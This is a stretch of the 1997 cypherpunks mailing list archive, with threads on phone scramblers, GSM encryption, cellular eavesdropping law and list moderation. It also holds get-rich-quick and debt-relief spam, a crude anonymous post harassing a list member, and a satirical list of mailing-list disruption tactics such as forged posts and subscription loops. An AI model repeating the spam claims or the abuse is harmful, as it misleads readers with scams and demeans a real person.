Also for those who might like to become international fugitive financiers some day (like Marc Rich) see the business section of today's New York Times:

January 16, 1997
Fugitive Financiers Find Fewer Places to Hide
By PETER TRUELL

Currently at:

http://www.nytimes.com/yr/mo/day/news/financial/fugitive-financiers.html

"To improve the Justice Department's record for capturing big-time fugitives, Attorney General Janet Reno last month started an interagency fugitive alert service, in conjunction with the United States Information Agency and the Voice of America.  The effort includes a site on the World Wide Web           (http://www.usdoj.gov/criminal/oiafug/fugitives.htm) showing pictures of the most wanted fugitives."

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt7gLIVO4r4sgSPhAQEPigP+JvOgxDbRT7fVCRmxT9H5uG0DWeiCVUoB
1jmjD4ZsS9KsQlIi9kpkzV5kw/OroqD1pcrxL8Ag+D4h2pkgytpaDFO0zPXrzwfG
NADLN9agz7Lnlo8k/9bMpjbC5dFbCh7ayKA60MW/RqgTtiR/uC+2IXSISzVBeraA
rahH94EBG4k=
=yniF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 16 Jan 1997 19:31:59 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <Pine.SOL.3.92.970116213048.12817A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


Down here in arkansas, we're still wondering who told
you this in the first place?
MacN

On Thu, 16 Jan 1997, Declan McCullagh wrote:

> Time to debunk this rumor.
>
> I just spoke with the Arkansas state police, who told me:
>
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."
>
> -Declan
>
>
> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> >> IMMEDIATE ATTENTION
> >> The Arkansas Police have declared that is is illegal to own, use, or
> >> possess RSU product #11265113, a fully assembled
> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> >> legal department is researching this and the product has been removed
> >> from RSU distribution.  DO NOT take order or sell this product until
> >> this situation can be resolved.
> >
> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
> >and they're "going to have somebody call me back."  I'm not holding my
> >breath...
> >
> >If anybody has a definative source on this, I'd love to see it; it's
> >mindboggling.
> >
> >thad
> >-- Thaddeus Beier                     thad@hammerhead.com
> >   Visual Effects Supervisor                408) 287-6770
> >   Hammerhead Productions  http://www.got.net/people/thad
>
>
>
> -------------------------
> The Netly News Network
> http://netlynews.com/
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 16 Jan 1997 18:43:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Netscape sig's...
Message-ID: <TCPSMTP.17.1.16.-11.42.18.2780269260.1470502@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Here's something, that found it's way into my mailbox and might be
of interest...


 In> SOFT> SecureWeb Documents: digitally signed documents -- FREE
 In> Netscape Navigator plug-in

 In> Date: Wed, 15 Jan 1997 19:13:28 -0600
 In> From: info@terisa.com

 In> http://www.terisa.com/

 In> About SecureWeb Documents

 In> By using standard digital ID's (x509.v3 certificates), SecureWeb
 In> Documents can affix a digital signature to an electronic document. The
 In> result is impossible to alter or falsify without detection, unlike a
 In> written signature.


Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtxBYjltEBIEF0MBAQFFIwf+NBtJ76gj+jhD28q1KHgv1HiTSLcP1xIg
ZCC779HJ29IM+imWFiqgv58HrGRva1lhMl9l0+DbWdS01muSeNAUuht+QlOY+ys8
9MPlsaTg2v0kEAE6+OQwWLs3C4HvlCBqbHIJubRTz+B4I3XP9pkRRc8VTO8INroA
u5C+PF+t3QHWinpnmR/uwrdJWohKG6Ioh9U5MdZWkF+ks84Y3uKGQDIxLsGv5xjZ
LI5u4OH7GjhuBNkuZgSoIm528dSmzPaYQk6sYJaSP2uz2HYnCEdfkE2/2+IRFn9m
AvgQPDUXHslTsF3m0O0/0XwG29X0KemyERnBuYYso2JoI0O/2pBiKg==
=/F/w
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Jan 1997 15:50:56 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <51Rq1D26w165w@bwalk.dm.com>
Message-ID: <199701162142.VAA06080@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



It's occured to me recently that Dimitri's posts are not being read
correctly, it is not the content which is the point, nor the
superficial lack of crypto relevance.

Dimitri is an intelligent guy, and has a high level of crypto
expertise (he has a PhD on a cryptography topic).  It is my belief
that his posts can only be understood in a "meta" sense -- he is
engaged in a highly complex cryptographic experiment.  People who read
and respond to his individual posts are the unwitting subjects in his
experiments.  His posts and the responses to them are actually the
data-set for a thorough cryptanalysis of mailing list threats.  His
current topic under investigation is Denial of Service (DoS) attacks
on mailing lists.

Denial of service on mailing lists is a complex business, and requires
expert human input to be done properly.

Dimitri has systematically explored these types of posting behaviour:

1. Posting only crypto relevant material.
2. Interspersing crypto relevant posts with hand personalised flame bait.
3. Interspersing crypto relevant posts with bot generated flame bait.
4. Interspersing crypto relevant posts with news stories.
5. Posting only non crypto relevant material.

The alert reader will recall these phases of posting style (currently
we are in sub experiment 5, the other phases have occured over a
protracted period of intensive experimentation, and some newer readers
may have missed earlier phases).

There were other experiments which may or may not have been part of
Dimitri's series of DoS experiments:

6. Subscribing the list to itself (testing list resilience to recursion)

7. Forging posts to carefully selected newsgroups with
"cypherpunks@toad.com" as the sender (this indirectly adds user
"cypherpunks@toad.com" to many direct marketing lists as direct
marketers make use of email addresses scanned from newsgroups).

8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
and ensuing instructions and discussion

9. Subscribing the list to other lists

10. Bot generated flame bait posted anonymously (with ascii art)

>From the post I am following up to the reader will observe an oblique
reference to the transition from phase 4 of the experiments to the
current phase, phase 5 (the reader will also note references to experimental
results c and d described below):

Dimitri Vulis <dlv@bwalk.dm.com> writes:
> One memorable "censorship" incident occurred when the lying cocksucker
> John Gilmore (spit) forcibly unsubscribed me from this list because he
> didn't like the contents of my submissions - or did you forget already?
> Look up Declan's disgraceful writeup on Netly News archives.
> 
> At that time most valuable contributors to this list (such as myself)
> resolved not to contribute crypto-relevant content to a censored forum.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

More widely read cypherpunks will know that Dimitri has performed
similar experiments in other fora -- his systematic experiments in
numerous USENET newsgroups resulted in the his receiving the
prestigious KOTM ("Kook Of The Month") award.

His main experimental results to date with the cypherpunks mailing
list series of experiments have been:

a) many cypherpunks publically announcing kill filing him

b) numerous cypherpunks suggesting censoring him (a particularly
interesting result considering the libertarian leanings of many on
this list)

c) the outstanding experimental result of being forcibly unsubscribed
from the list, and of being barred from resubscribing by John Gilmore.
(creator of alt.* USENET newsgroup hierarchy, and well know freespeech
advocate)

d) another interesting, incidental experimental result was provided by
Declan McCullagh in his Netly News piece in prematurely, and entirely
unwittingly, publishing some of Dimitri's expermiental data-set.

e) the main experimental result: the list shortly moving to a
moderated form, seemingly at the request of Sandy Sandfort, with
agreement from John Gilmore.

These experimental results are quite significant, when taken in the
context of the anti-censorship, libertarian, pro-freespeech
environment of the cypherpunks mailing list.  Dimitri should be
congratulated on his outstanding work.

I await with interest the last phases of Dimitri's experiment, when
the cypherpunks list becomes a moderated forum.  My suggestions for
interesting experiments during the moderated phase are:

1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
those who don't read Dale, he is subscribed to "cypherpunks-unedited"
in preparation for the moderation).

2. Testing Sandy Sandforts rejection criteria.

3. Testing Sandy Sandforts rejection rate for long crypto relevant
posts interspersed with irrelevant flame bait.

4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs

I hope Dimitri's selfless efforts in furthering understanding of DoS
attacks on mailing lists is properly acknowledged when he publishes
his findings on completion of his experiments.  I also hope that
Dimitri will document his recommendations for mailing list
configuration and management in light of his experiments.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:12:42 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: FC: Loving v. University of Oklahoma, from The Netly News Network
In-Reply-To: <Pine.GSO.3.95.970116084156.22133A-100000@well.com>
Message-ID: <32DF113E.708A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> The Netly News Network
> http://netlynews.com/
> 
>       Loving v. the University of Oklahoma goes to trial in a federal
>    court in Tulsa tomorrow morning. But the incidents that gave rise to
>    the civil action occurred more than 14 months ago when a local
>    anti-pornography group, Oklahomans for Children and Families, got wind
>    of the sprawling alt.sex.* hierarchy on Usenet. The porn watchdog
>    group complained to State Rep. Fred Perry (R-Tulsa) about the alt.sex
>    feeds that were, naturally enough, part of the university's Usenet
>    feed.
> 
>       Anderson told us that his group is training other activists to turn
>    in offending service providers. "There are plums ready to be picked,"
>    he said. "We're encouraging people all over the country to take
>    action."

  I would advise all cryptographers and cryptanalysts to immediately 
remove any brooms they own from their homes.
  Especially those living in Salem.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 16 Jan 1997 21:44:25 -0800 (PST)
To: Michael Gurski <mgursk1@umbc.edu>
Subject: Re: Kill filing
In-Reply-To: <Pine.SGI.3.95.970116155633.13404A-100000@umbc10.umbc.edu>
Message-ID: <32DF118A.721F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Michael Gurski wrote:
> On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > At 1:05 pm -0500 1/16/97, Ed Falk wrote:

> > And, in my case, Eudora displays each message in the status window as it's
> > bringing something down from the POP server, and again as it filters.
> > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

> I used to have procmail shove messages from certain folks directly to
> /dev/null, but then wondered a few days ago if I were missing
> anything, so they ended up going to $MAILDIR/.in.garbage.  After
> looking in there today, I'm glad to say that it's back to /dev/null,
> with no regrets. Of course, with the new moderated list, there shouldn't
> be too much work for procmail, except for those folks who I personally
> feel aren't worth reading...

Michael, please tell me and everyone else at cypherpunks just why it
is we should give a shit at all what your personal killfile habits
are, and whether we should give a shit about whether you think anyone
on this list is or isn't worth reading.

You and a thousand other clowns seem to think this is cool to do,
but you're actually pointing back at yourself with this kind of crap.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 16 Jan 1997 19:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Virus
Message-ID: <199701170402.WAA27752@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

Check out,

Virus
Bill Buchanan
ISBN 0-515-12011-1
$6.50 paperback

Very interesting book about adaptive technology and one possible 'alternate'
future. May not be technicaly correct but then again, what prediction is.

On a related note (at least future tech predictions), I saw the new book put
out by Wired on this issue (don't remember the exact title) in the science
section of BookStop. It belongs in the sci-fi section. A bigger pile of
wishfull thinking with no realistic view of either technology or society
doesn't come to mind immediately. Is definately not a 'buy it'.


"For a succesful technology, reality must take precedence over public
 relations, for nature will not be fooled."

                                             Richard Feynman


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com


ps check out www.srl.org for the Austin show on March 28, 1997.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 16 Jan 1997 20:26:46 -0800 (PST)
To: kasaty@seanet.com
Subject: Re: soc.culture.belarus
In-Reply-To: <ceNm1D8w165w@bwalk.dm.com>
Message-ID: <199701170421.WAA05288@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> :Can anyone tell me if soc.culture.belarus is still active? I have not been
> able to access this newsgroup for a while now and my service provider hasn't
> answered my question about this. I originally had to make a request to the
> ISP to carry the newsgroup but after that, it was ok.
> I hope it's only coincidental that I lost contact only about one day after I
> placed a posting on the newsgroup.
> Barry J Hilchey, <bhilchey@sympatico.ca>
> PO Box 668, St Marys, Ontario, N4X 1B6, Canada:
> 
> I donn't know exactly what happend to that group,
> but some time ago I had e-mail exchange with one
> of the moderators. He complained that they (5 persons
> or so) are sweating day and night moderating incoming
> postings. It might be, therefore, that this honorable
> job of censorship starved this people to death.   
> 
> Igor Fedchenia
> 

Mr. Kasaty, if you want to try robomoderation for scb (which really
reduces the amount of work that you have to do), you can use my bot.

Moderators of soc.culture.russian.moderated are known as some of 
the laziest moderators on USENET, because about 90% of all posts are
approved automatically by the bot.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "$100,000 BUSINESS OPPORTUNITIE!" <cbear@adgrafix.com>
Date: Thu, 16 Jan 1997 21:53:25 -0800 (PST)
To: cbear@adgrafix.com
Subject: L@@K FOR FEW GOOD PEOPLE,THAT WANA MAKE $10,000 EVERY WEEK!
Message-ID: <199701170449.WAA09159@dogbert.ipa.net>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PLEASE Note That you're not on mailing list this is one,
Time deal and you will never recive mail from us again!
Thank you!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


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in this Marketing plan after only 4 weeks.  I'll train you how.  
Be 1st in your area.

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money.Please goto URL below if you are interested.

~~~~~~CUT AND PASTE IN YOUR URL~~~~~~~~~~~~~~~~~~~~~~

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   


Regards
Christopher






































































































































































































































































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:12:50 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <3.0.1.32.19970116185324.0062e970@popd.ix.netcom.com>
Message-ID: <32DF21C6.2E88@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> > The Arkansas Police have declared that is is illegal to own, use, or
> > possess RSU product #11265113, a fully assembled
> > descrambler/scrambler, in the State of Arkansas.
> 
> How soon do you think it'll be before they start busting people
> for Radio Shack Equipment Smuggling? 

  I wonder if, when Radio Shack is forced to go 'underground', their
employees, while standing beside the crack dealers on the street 
corner, will develop their own language, 'Shackonics'.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "THEAUDIN" <thea0594@eurobretagne.fr>
Date: Thu, 16 Jan 1997 13:55:59 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: stop
Message-ID: <199701162154.WAA04765@gaia.eurobretagne.fr>
MIME-Version: 1.0
Content-Type: text/plain


please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 01:01:31 -0800 (PST)
To: frantz@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <v03007808af0842c7858c@[204.31.235.152]>
Message-ID: <199701162341.XAA06364@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:39 AM -0800 1/16/97, Adam Back wrote:
> >- PIN for phone's RSA signature keys
> 
> It is not clear you need signatures in the secure phone case.  Eric
> Blossom's 3DES uses straight DH for key exchange with verbal verification
> that both ends are using the same key.  

How does Eric's box display the negotiated key to the user?  (I don't
recall the pair I saw having displays).

> As long as the man in the middle can't imitate a familiar voice,
> this procedure is reasonably secure.

This is the approach taken by PGPfone also.  If the value of the
conversations was high (>$100,000?) passable voice imitation wouldn't
be that hard I suspect.

Also I thought it would be kind of cute if there were some way for
phones to exchange their signature keys `face to face' as well.

> I agree that signatures of some kind are needed to identify the phone to
> the cell company to prevent an all too familiar technique of stealing phone
> service.  But this protection would not be a 3rd party cell phone upgrade.

It's about time something was done about that problem.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:12:11 -0800 (PST)
To: frantz@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701201612.IAA12435@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:39 AM -0800 1/16/97, Adam Back wrote:
> >- PIN for phone's RSA signature keys
> 
> It is not clear you need signatures in the secure phone case.  Eric
> Blossom's 3DES uses straight DH for key exchange with verbal verification
> that both ends are using the same key.  

How does Eric's box display the negotiated key to the user?  (I don't
recall the pair I saw having displays).

> As long as the man in the middle can't imitate a familiar voice,
> this procedure is reasonably secure.

This is the approach taken by PGPfone also.  If the value of the
conversations was high (>$100,000?) passable voice imitation wouldn't
be that hard I suspect.

Also I thought it would be kind of cute if there were some way for
phones to exchange their signature keys `face to face' as well.

> I agree that signatures of some kind are needed to identify the phone to
> the cell company to prevent an all too familiar technique of stealing phone
> service.  But this protection would not be a 3rd party cell phone upgrade.

It's about time something was done about that problem.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Thu, 16 Jan 1997 20:44:03 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <199701170443.XAA09743@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh sez:
> 
> Time to debunk this rumor.
> 
> I just spoke with the Arkansas state police, who told me:
> 
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."


I have past experience with the individual cited in the original
message. I'd rather believe a politician's spin doctor.

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darrington@debtfree.com
Date: Thu, 16 Jan 1997 20:51:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt-Freedom!
Message-ID: <199701170451.XAA01535@ezdial.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

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Reply To: nodebts@homebasebusiness.com
Important: Put "NO DEBTS" in the subject field

Thank you for allowing me to share this with you, It has really changed my life and that of my family!


God Bless,

Dean F. Arrington





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Charles Graves <llurch@networking.stanford.edu>
Date: Thu, 16 Jan 1997 23:56:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701170756.XAA29660@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher / blah blah blah wrote:

>I have past experience with the individual cited in the original
>message. I'd rather believe a politician's spin doctor.

I thought he was a politician's spin doctor.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:05 -0800 (PST)
To: Ryan Russell/SYBASE <Ryan.Russell@sybase.com>
Subject: Re: Privacy Issue (ANI in SF Bay Area)
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <32DF3432.11A2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ryan Russell/SYBASE wrote:
> 
> Yesterday PacBell turned on ANI on our trunk groups, for
> local area calls.  On their own, mind you, without request
> from us.  If you call anyone here with a display phone,
> it displays your number, even if you have caller-id
> blocking on or you do a *70 (for those who don't know,
> ANI is not caller-id, you can't block your number
> from being displayed with ANI.)
> 
> It also grabs your phone number if you leave a voice mail,
> so even folks without display phones can benefit.

  Why do I get the feeling that they will soon be offering a new
feature (for a 'slight surcharge') that will block this feature,
as well?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Returned cypher-mail:  Host unknown (Name server: softcell: host not found)
In-Reply-To: <199701162230.RAA04447@Alpha.remcan.ca>
Message-ID: <32DF36B3.1E8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mail Delivery Subsystem wrote:
>    ----- The following addresses had delivery problems -----
>    ----- Transcript of session follows -----
> To: info@softcell
> From: "cypherpunks@toad.com" <cypherpunks@toad.com>
> Content-Type: text/plain; charset="us-ascii"
> 
> FUCK YOU SPAMMER

  Does this mean that even the listserver is getting tired of spam?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:24 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Virus
In-Reply-To: <199701170402.WAA27752@einstein>
Message-ID: <32DF478C.318F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
 
> "For a succesful technology, reality must take precedence over public
>  relations, for nature will not be fooled."
> 
>                                              Richard Feynman

Jim,
 Do you think that this quote should be forwarded to the White House,
or do you think they might have trouble with the concept?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Gulkis <lordvidarr+@CMU.EDU>
Date: Thu, 16 Jan 1997 23:00:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
Message-ID: <UmrmAaG00YUs0rdJw0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


I always try to have a good time with airport security.  Last time I
flew I had a brand new stainless steel nissan thermos half full of
scotch in my backpack in addition to my laptop, a handful of dental
tools and a bunch of sticks of microcrystaline wax.

The rentacop almost shit all over himself tearing into my bag trying
to find out what the nissan was and i'm pretty sure that he did when
he saw the sticks of wax.  Course I was busy being frisked by another
guard (steel toes, steel shanks) and was really trying hard not to
laugh.

Next time I'm planning on painting some messages in lead paint and
sticking them in a folder so they can read it as it gets scanned.
Nice friendly hello <EG>

A. Gulkis

-------------------------------------------------------------------
Electronic and Time Based media? whats that?
                                http://valhalla.res.cmu.edu/vidarr/
President, Screaming Viking Research Labs
                                Reinventing Perceptions of Reality
pgp key: finger vidarr@valhalla.res.cmu.edu		
-------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ATM INFO <atm@getback.hartley.on.ca>
Date: Thu, 16 Jan 1997 23:48:03 -0800 (PST)
Subject: No Subject
Message-ID: <199701170746.CAA27992@mail.pwrnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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*******************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Fri, 17 Jan 1997 00:15:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] e$
Message-ID: <199701170815.DAA23816@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Timmy `C' May in the 
ass, a tapeworm might bite your penis.

         /\**/\
        ( o_o  )_) Timmy `C' May
        ,(u  u  ,),
       {}{}{}{}{}{}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 04:11:23 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
In-Reply-To: <01BC03E7.BE213FB0@crecy.ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970117061357.21132C-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> 
> It was a conference call but over a cellular phone. Martin had hacked his
> Radio Shack Scanner using a well known technique. He had a radio ham
> license.
> 
Phill
	Actually I'd love to see this go to court & have the law itself 
tossed out.  How many years have the airwaves been free?  Now it is 
illegal to listen on the cellular frequencies.

Sarah.

==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 04:17:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v03007806af036061f9ce@[199.35.223.179]>
Message-ID: <Pine.LNX.3.91.970117062037.21132D-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Bill Frantz wrote:

> At 7:07 PM -0800 1/14/97, Eric Murray wrote:

> The 1935 communication act made it illegal to pass on what you had heard
> when listening to certain radio services.  Listening was OK.  Telling
> others wasn't.
> 
	A more recent act made it illegal to monitor celular frequencies, 
	and to make equipement that receives or could easily be 
	modified to receive cellular frequencies.

Sarah.
==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gtaylor@gil.com.au (Greg Taylor)
Date: Thu, 16 Jan 1997 13:49:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701162147.HAA12921@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


After following this thread for some time, I have to question whether
Americans realise how far behind the rest of the world they are in
cellphone technology.

Most of the world has been using GSM digital technology for some years
now, with automatic international roaming, unless you travel to the USA.
No one in their right mind uses an analogue mobile phone any more if they 
are concerned about eavesdropping.  The Newt incident simply could not 
happen with GSM.

Of course in most countries the government controls the federal police, 
not the other way round.  

Greg
Brisbane Australia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ALLVIP" <vip@allvip.com>
Date: Fri, 17 Jan 1997 05:20:59 -0800 (PST)
To: "YOUR Exclusive Ad "ALONE" to 2500 - $14.95" <vip@allvip.com>
Subject: <Your Exclusive Ad "ALONE" to 2500 - $14.95>
Message-ID: <199701171304.IAA00236@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


  *To Remove:  Please hit reply & type "remove" in the subject.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 <*> N e w   Y e a r   S p e c i a l - 3  D a y s  O N L Y ! ! ! <*>

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Order distribution for 3 lists of 2,500 Business Opportunity Seekers
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              For   ONLY   $44.85       (reg. $239.00)

     Email:  special@allvip.com         For  Easy Submission Form
 By emailing this address, info will <automatically> be sent to you.
                        Please Do NOT Hit Reply!  

This Exclusive New Year Offer is available for 3 days ONLY.  Our
space is filling VERY QUICKLY!  Respond NOW and your space will be
reserved immediately - No Faxes or Postal Mailing Necessary! 

 Distribution for this New Year Special begins the
